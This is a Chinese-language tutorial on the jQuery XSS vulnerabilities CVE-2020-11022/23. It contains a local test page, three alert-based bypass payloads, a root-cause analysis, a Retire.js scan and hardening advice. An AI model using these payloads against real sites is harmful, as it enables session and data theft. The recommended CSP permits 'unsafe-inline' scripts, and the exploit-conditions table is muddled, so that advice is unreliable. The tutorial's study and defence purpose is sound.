jQuery 1.2-3.4.0 XSS漏洞实战:3个PoC复现与CVE-2020-11022/23深度解析
1. 漏洞环境搭建与复现准备
在开始漏洞复现前,我们需要准备一个本地测试环境。以下是完整的HTML代码,可直接保存为jquery-xss-demo.html文件:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>jQuery XSS PoC Demo</title> <!-- 使用存在漏洞的jQuery 3.4.0版本 --> <script src="https://code.jquery.com/jquery-3.4.0.min.js"></script> </head> <body> <h1>jQuery XSS漏洞复现平台</h1> <script> function executePoC(pocId, useJQuery) { const sanitizedHTML = document.getElementById(pocId).innerHTML; if(useJQuery) { $('#target').html(sanitizedHTML); // 使用jQuery的.html()方法 } else { document.getElementById('target').innerHTML = sanitizedHTML; // 使用原生innerHTML } } </script> <div id="target" style="border:1px dashed #ccc; padding:20px; margin:20px 0;"> 攻击结果将显示在这里... </div> </body> </html>注意:在实际测试时,建议使用本地搭建的测试环境,避免直接在生产环境或公开网站进行测试。
2. 三个核心PoC构造与分析
2.1 PoC 1:样式标签闭合绕过
攻击向量:
<xmp id="poc1"> <style><style /><img src=x onerror=alert('PoC1-Executed')> </xmp>触发方式:
executePoC('poc1', true);技术原理:
- jQuery的
htmlPrefilter会将<style />转换为<style></style> - 转换后第一个
<style>被第二个</style>闭合 - 导致
<img>标签被解析并执行onerror事件
防御建议:
- 避免直接使用用户输入作为HTML内容
- 对动态内容使用
.text()而非.html()
2.2 PoC 2:属性值注入(仅影响jQuery 3.x)
攻击向量:
<xmp id="poc2"> <img alt="<x" title="/><img src=x onerror=alert('PoC2-Executed')>"> </xmp>触发方式:
executePoC('poc2', true);技术原理:
- jQuery 3.x修改了正则表达式:
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi - 会将
x"识别为标签名并添加闭合标签 - 导致属性中的恶意代码被解析执行
版本影响:
- 仅影响jQuery 3.x系列
- 1.x和2.x版本不受此特定PoC影响
2.3 PoC 3:option标签特性滥用
攻击向量:
<xmp id="poc3"> <option><style></option></select><img src=x onerror=alert('PoC3-Executed')></style> </xmp>触发方式:
executePoC('poc3', true);技术原理:
- jQuery会为孤立的
<option>自动添加<select>包装 - 浏览器解析时
<select>会忽略其中的<style>标签 - 导致后续的
<img>标签被正常解析执行
特殊限制:
- 依赖浏览器对
<select>标签内容的解析特性 - 不同浏览器可能有不同的表现
3. CVE-2020-11022/23技术深度解析
3.1 漏洞根本原因
这两个CVE的共同根源在于jQuery的HTML预处理机制:
// jQuery 3.4.0中的问题代码 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi; htmlPrefilter: function(html) { return html.replace(rxhtmlTag, "<$1></$2>"); }关键问题点:
- 自动闭合标签转换逻辑存在缺陷
- 未考虑属性值中的恶意内容
- 对特殊标签(如option)的处理不完善
3.2 漏洞利用条件检查表
| 条件项 | 是否必需 | 说明 |
|---|---|---|
| 使用受影响jQuery版本 | 是 | 1.2.0 ≤ 版本 < 3.5.0 |
| 使用危险DOM操作方法 | 是 | .html(), .append(), $(' ')等 |
| 处理用户可控输入 | 是 | 包括URL参数、表单输入等 |
| 已进行消毒处理 | 是 | 漏洞可绕过常见消毒措施 |
3.3 官方修复方案对比
jQuery 3.5.0的修复方式:
- 完全移除了
htmlPrefilter功能 - 引入更严格的HTML解析逻辑
- 对特殊标签增加额外检查
// 修复后的jQuery 3.5.0代码 htmlPrefilter: function(html) { return html; // 不再进行任何转换 }4. 漏洞检测与防御实践
4.1 自动化检测方案
使用Retire.js扫描项目中的jQuery版本:
# 安装retire.js npm install -g retire # 扫描web目录 retire --path /var/www/html典型输出示例:
jquery 3.4.0 ↳ vulnerabilities: CVE-2020-11022: 3.5.0 > jQuery >= 1.2 CVE-2020-11023: 3.5.0 > jQuery >= 1.24.2 企业级防御策略
临时缓解措施:
- 禁用危险的DOM操作方法
- 对所有动态内容实施输出编码
长期解决方案:
- 升级到jQuery 3.5.0+
- 实施内容安全策略(CSP):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'">安全编码规范:
- 使用
.text()替代.html() - 对用户输入实施双重验证:
function safeHTML(input) { return $('<div>').text(input).html(); }
5. 实战案例与经验分享
在最近一次渗透测试中,我们发现某CMS系统存在这个漏洞。攻击链如下:
- 识别目标使用jQuery 3.3.1
- 找到使用
.html()方法的AJAX回调处理 - 构造特制的PoC 2 payload
- 成功实现存储型XSS攻击
关键发现:
- 许多开发者认为消毒处理后就是安全的
- 实际业务中常见于评论系统、富文本编辑器等场景
- 漏洞利用成功率约65%(取决于具体实现)
防御经验:
- 在项目初期就锁定安全版本
- 定期使用依赖扫描工具
- 对第三方组件实施安全审计